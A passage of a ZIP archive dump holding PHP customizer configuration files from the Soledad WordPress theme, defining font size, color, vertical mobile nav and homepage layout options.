	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_title_fsize'
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts', 'soledad' ),
	'id'       => 'penci_fslider_smalltitle_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_smalltitle_fsize'
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => __( 'Font Size for Post Titles on Tiny Posts', 'soledad' ),
	'description' => __( 'You can see Tiny Posts on Style 22, 23, 24', 'soledad' ),
	'id'          => 'penci_fslider_tinytitle_fsize',
	'default'     => '',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'ids'         => [
		'desktop' => 'penci_fslider_tinytitle_fsize',
	],
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Mobile', 'soledad' ),
	'id'       => 'penci_fslider_title_fsize_mobile',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_title_fsize_mobile',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts on Mobile', 'soledad' ),
	'id'       => 'penci_fslider_small_fsize_mobile',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_small_fsize_mobile',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Excerpt on Style 35, 36, 38, 39', 'soledad' ),
	'id'       => 'penci_fslider_excerpt_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_excerpt_fsize',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Button on Style 29, 30, 35, 36, 38, 39', 'soledad' ),
	'id'       => 'penci_fslider_button_fsize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => [
		'desktop' => 'penci_fslider_button_fsize',
	],
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => esc_html__( 'Penci Slider Style 1 & 2', 'soledad' ),
	'description' => __( 'Penci Slider is a Custom Slider - it does not based on Posts. So, you can pick any image & text & URL on each slide.<br>Check a demo for Penci Slider <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-hipster/?slider=style-31">here</a>', 'soledad' ),
	'id'          => 'penci_pslider_fsize_heading',
	'type'        => 'soledad-fw-header',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_title_fsize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Titles on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_title_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_title_fsize',
		'mobile'  => 'penci_pslider_title_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_caption_fsize',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Caption on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_caption_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_caption_fsize',
		'mobile'  => 'penci_pslider_caption_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_pslider_button_fsize_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Button on Penci Slider', 'soledad' ),
	'id'       => 'penci_pslider_button_fsize',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_pslider_button_fsize',
		'mobile'  => 'penci_pslider_button_fsize_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\6	  	  G  inc/customizer/config/sections/pencidesign_logo_header_colors_trans.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_tran_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_tran_social_color_hover',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_search_magnify',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_close_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_trslogan_text_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_tran_slogan_line_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_traprimary_menu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_nav_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_color_active',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Padding Menu Items Background Color', 'soledad' ),
	'id'       => 'penci_tran_main_bar_padding_color',
);

return $options;
PK     N\    G  inc/customizer/config/sections/penci_section_sidebar_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_bxsb_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color for Boxed Sidebar Styles', 'soledad' ),
	'id'       => 'penci_bxsb_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Background Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Background Outer Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_outer_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Border Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Border Outer Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_inner_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Bottom on Widget Heading Style 5, 10, 11, 12', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color5',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Small Border Bottom on Widget Heading Style 7 & Style 8', 'soledad' ),
	'id'       => 'penci_sidebar_heading_border_color7',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Top on Widget Heading Style 10', 'soledad' ),
	'id'       => 'sidebar_heading_bordertop_color10',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Background Shapes Widget Heading Styles 11, 12, 13', 'soledad' ),
	'id'       => 'penci_sidebar_heading_shapes_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Icon on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_bgstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Color on Style 15', 'soledad' ),
	'id'       => 'penci_sidebar_iconstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'id'       => 'penci_sidebar_cllines',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Sidebar Widget Heading Text Color', 'soledad' ),
	'id'       => 'penci_sidebar_heading_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_sidebar_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Hover Color', 'soledad' ),
	'id'       => 'penci_sidebar_accent_hover_color',
);

return $options;
PK     N\    N  inc/customizer/config/sections/pencidesign_logo_header_verticalnav_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Vertical Mobile Nav Style', 'soledad' ),
	'id'       => 'penci_moble_vertical_menu_style',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => [
		'default' 	=> __('Default','soledad'),
		'fullwidth' => __('Full Width','soledad'),
	],
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Use Penci Block Content for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_moble_vertical_block',
	'type'     => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Delayed Load Vertical Mobile Content', 'soledad' ),
	'id'       => 'penci_mobile_nav_delayed',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => __( 'Logo for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_mobile_nav_logo',
	'type'     => 'soledad-fw-image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Link for Logo Image on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_custom_url_logo_vertical',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Logo on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_logo_vertical',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove The Line Below Logo Image', 'soledad' ),
	'id'       => 'penci_vernav_remove_line',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Social Icons on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_social_vertical',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use Brand Colors for Social Icons on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_header_social_vertical_brand',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Display Search Form on Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_vernav_searchform',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Turn of Uppercase on Menu Items', 'soledad' ),
	'id'       => 'penci_vernav_off_uppercase',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable click on Parent Menu Item to open Child Menu Items', 'soledad' ),
	'description' => __( 'By default, you need to click to the arrow on the right side to open child menu items - this option will help you click on the parent menu items to open child menu items', 'soledad' ),
	'id'          => 'penci_vernav_click_parent',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu for Vertical Mobile Nav', 'soledad' ),
	'id'       => 'penci_moble_vertical_menu',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Social Icons', 'soledad' ),
	'id'       => 'penci_font_icons_mobile_nav',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_icons_mobile_nav',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Vertical Mobile Menu Items', 'soledad' ),
	'id'       => 'penci_font_size_mobile_nav',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_font_size_mobile_nav',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for text on Search Form', 'soledad' ),
	'id'       => 'penci_vernav_fsearchinput',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_vernav_fsearchinput',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Custom Width for Vertical Mobile', 'soledad' ),
	'description'    => __( 'Supports a minimum width of 200px and a maximum width of 330px.', 'soledad' ),
	'id'       => 'penci_vernav_width',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_vernav_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 200,
			'max'  => 330,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
return $options;
PK     N\()    E  inc/customizer/config/sections/penci_section_spage_colors_section.phpnu [        <?php
$options        = [];
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Page Title Color', 'soledad' ),
	'id'       => 'penci_pagetitle_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Share" Text Color', 'soledad' ),
	'id'       => 'penci_psharetext_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Icons Color', 'soledad' ),
	'id'       => 'penci_pageshareicon_color',
);
$options[]      = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Share Icons Hover Color', 'soledad' ),
	'id'       => 'penci_pageshareicon_hcolor',
);
$options[]      = array(
	'sanitize'    => 'esc_url_raw',
	'label'       => esc_html__( 'Page Header', 'soledad' ),
	'description'=>__('Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"','soledad'),
	'id'          => 'penci_pheader_colors_heading',
	'type'        => 'soledad-fw-header',
);
$pheader_colors = array(
	'penci_pheader_bgcolor'      => esc_html__( 'Background Color', 'soledad' ),
	'penci_pheader_title_color'  => esc_html__( 'Title Color', 'soledad' ),
	'penci_pheader_line_color'   => esc_html__( 'Line Color', 'soledad' ),
	'penci_pheader_bread_color'  => esc_html__( 'Breadcrumbs Text Color', 'soledad' ),
	'penci_pheader_bread_hcolor' => esc_html__( 'Breadcrumbs Hover Text Color', 'soledad' ),
);
foreach ( $pheader_colors as $key => $label ) {
	$options[] = array(
		'sanitize' => 'sanitize_hex_color',
		'type'     => 'soledad-fw-color',
		'label'    => $label,
		'id'       => $key,
	);
}
$options[] = array(
	'sanitize' => 'esc_url_raw',
	'label'    => esc_html__( '404 Page', 'soledad' ),
	'id'       => 'penci_pheader_404_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Line Above the Message Text', 'soledad' ),
	'id'       => 'penci_404_line_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Message Text Color', 'soledad' ),
	'id'       => 'penci_404_message_ctext',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Text Color', 'soledad' ),
	'id'       => 'penci_404_input_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Borders Color', 'soledad' ),
	'id'       => 'penci_404_formborder_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( '"Back To Homepage" Color', 'soledad' ),
	'id'       => 'penci_404_backhome_color',
);

return $options;
PK     N\y(  (  I  inc/customizer/config/sections/penci_section_homepage_general_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => 'standard',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Homepage Layout', 'soledad' ),
	'id'       => 'penci_home_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'standard'         => __( 'Standard Posts', 'soledad' ),
		'classic'          => __( 'Classic Posts', 'soledad' ),
		'overlay'          => __( 'Overlay Posts', 'soledad' ),
		'featured'         => __( 'Featured Boxed Posts', 'soledad' ),
		'grid'             => __( 'Grid Posts', 'soledad' ),
		'grid-2'           => __( 'Grid 2 Columns Posts', 'soledad' ),
		'grid-boxed'       => __( 'Grid Boxed', 'soledad' ),
		'grid-boxed-2'     => __( 'Grid Boxed 2', 'soledad' ),
		'grid-boxed-3'     => __( 'Grid Boxed 3', 'soledad' ),
		'grid-boxed-4'     => __( 'Grid Boxed 4', 'soledad' ),
		'masonry'          => __( 'Grid Masonry Posts', 'soledad' ),
		'masonry-2'        => __( 'Grid Masonry 2 Columns Posts', 'soledad' ),
		'list'             => __( 'List Posts', 'soledad' ),
		'list-boxed'       => __( 'List Boxed', 'soledad' ),
		'list-boxed-2'     => __( 'List Boxed 2', 'soledad' ),
		'small-list'       => __( 'Small List Posts', 'soledad' ),
		'boxed-1'          => __( 'Boxed Posts Style 1', 'soledad' ),
		'boxed-2'          => __( 'Boxed Posts Style 2', 'soledad' ),
		'mixed'            => __( 'Mixed Posts', 'soledad' ),
		'mixed-2'          => __( 'Mixed Posts Style 2', 'soledad' ),
		'mixed-3'          => __( 'Mixed Posts Style 3', 'soledad' ),
		'mixed-4'          => __( 'Mixed Posts Style 4', 'soledad' ),
		'photography'      => __( 'Photography Posts', 'soledad' ),
		'magazine-1'       => __( 'Magazine Style 1', 'soledad' ),
		'magazine-2'       => __( 'Magazine Style 2', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	)
);
$options[] = array(
	'id'              => 'penci_home_grid_col',
	'label'           => __( 'Grid Columns', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
		'3' => __( '3 Columns', 'soledad' ),
		'4' => __( '4 Columns', 'soledad' ),
		'5' => __( '5 Columns', 'soledad' ),
	),
	'sanitize'        => 'penci_sanitize_choices_field',
	'default'         => '',
	'active_callback' => [
		[
			'setting'  => 'penci_home_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'id'              => 'penci_home_grid_mcol',
	'label'           => __( 'Grid Columns on Mobile', 'soledad' ),
	'type'            => 'soledad-fw-select',
	'choices'         => array(
		''  => __( 'Default', 'soledad' ),
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Columns', 'soledad' ),
	),
	'default'         => '',
	'sanitize'        => 'penci_sanitize_choices_field',
	'active_callback' => [
		[
			'setting'  => 'penci_home_layout',
			'operator' => 'in',
			'value'    => [ 'grid-boxed', 'grid-boxed-2', 'masonry', 'grid' ],
		]
	],
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_text_field',
	'label'       => __( 'Custom Heading Title of Latest Posts Section', 'soledad' ),
	'id'          => 'penci_home_title',
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/heading-title-latest-posts.png" target="_blank">this image</a> to know what\'s "Heading Title of Latest Posts Section".<br>If you want hide it, let empty this option', 'soledad' ),
	'type'        => 'soledad-fw-text',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude specific categories from latest posts on Homepage', 'soledad' ),
	'id'          => 'penci_home_exclude_cat',
	'description' => __( 'Example: if you do not want all posts in categories: Fashion, Life Style show on your latest posts on homepage. You can fill slug of the categories here: fashion, life-style. You can see <a class="wp-customizer-link" rel="nofollow" href="https://pencidesign.net/soledad/soledad-document/assets/images/magazine-2.png" target="_blank">this image</a> to understand what is slug', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => '10',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Amount of Posts Shown Per Page on Homepage', 'soledad' ),
	'id'       => 'penci_home_lastest_posts_numbers',
	'ids'      => array(
		'desktop' => 'penci_home_lastest_posts_numbers',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '10',
		),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Latest Posts On Homepage', 'soledad' ),
	'id'       => 'penci_hide_latest_post_homepage',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Load More Button on Homepage', 'soledad' ),
	'id'       => 'penci_page_navigation_ajax',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Infinite Scroll on Homepage', 'soledad' ),
	'id'       => 'penci_page_navigation_scroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'Number of Posts for Each Time Load More Posts', 'soledad' ),
	'id'       => 'penci_number_load_more',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_number_load_more',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Sidebar On Homepage', 'soledad' ),
	'id'       => 'penci_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Left Sidebar On Homepage', 'soledad' ),
	'id'       => 'penci_left_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Two Sidebars On Homepage', 'soledad' ),
	'id'       => 'penci_two_sidebar_home',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Add Meta Description for Homepage', 'soledad' ),
	'description' => __( 'If you\'re using a SEO plugin, maybe it already added a meta description. So, you don\'t need to use this option anymore.', 'soledad' ),
	'id'          => 'penci_home_metadesc',
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar for Homepage', 'soledad' ),
	'id'          => 'penci_sidebar_name_home',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option()
);
$options[] = array(
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Sidebar Left for Homepage', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_home',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar Left. This option just use when you enable 2 sidebars for Homepage', 'soledad' ),
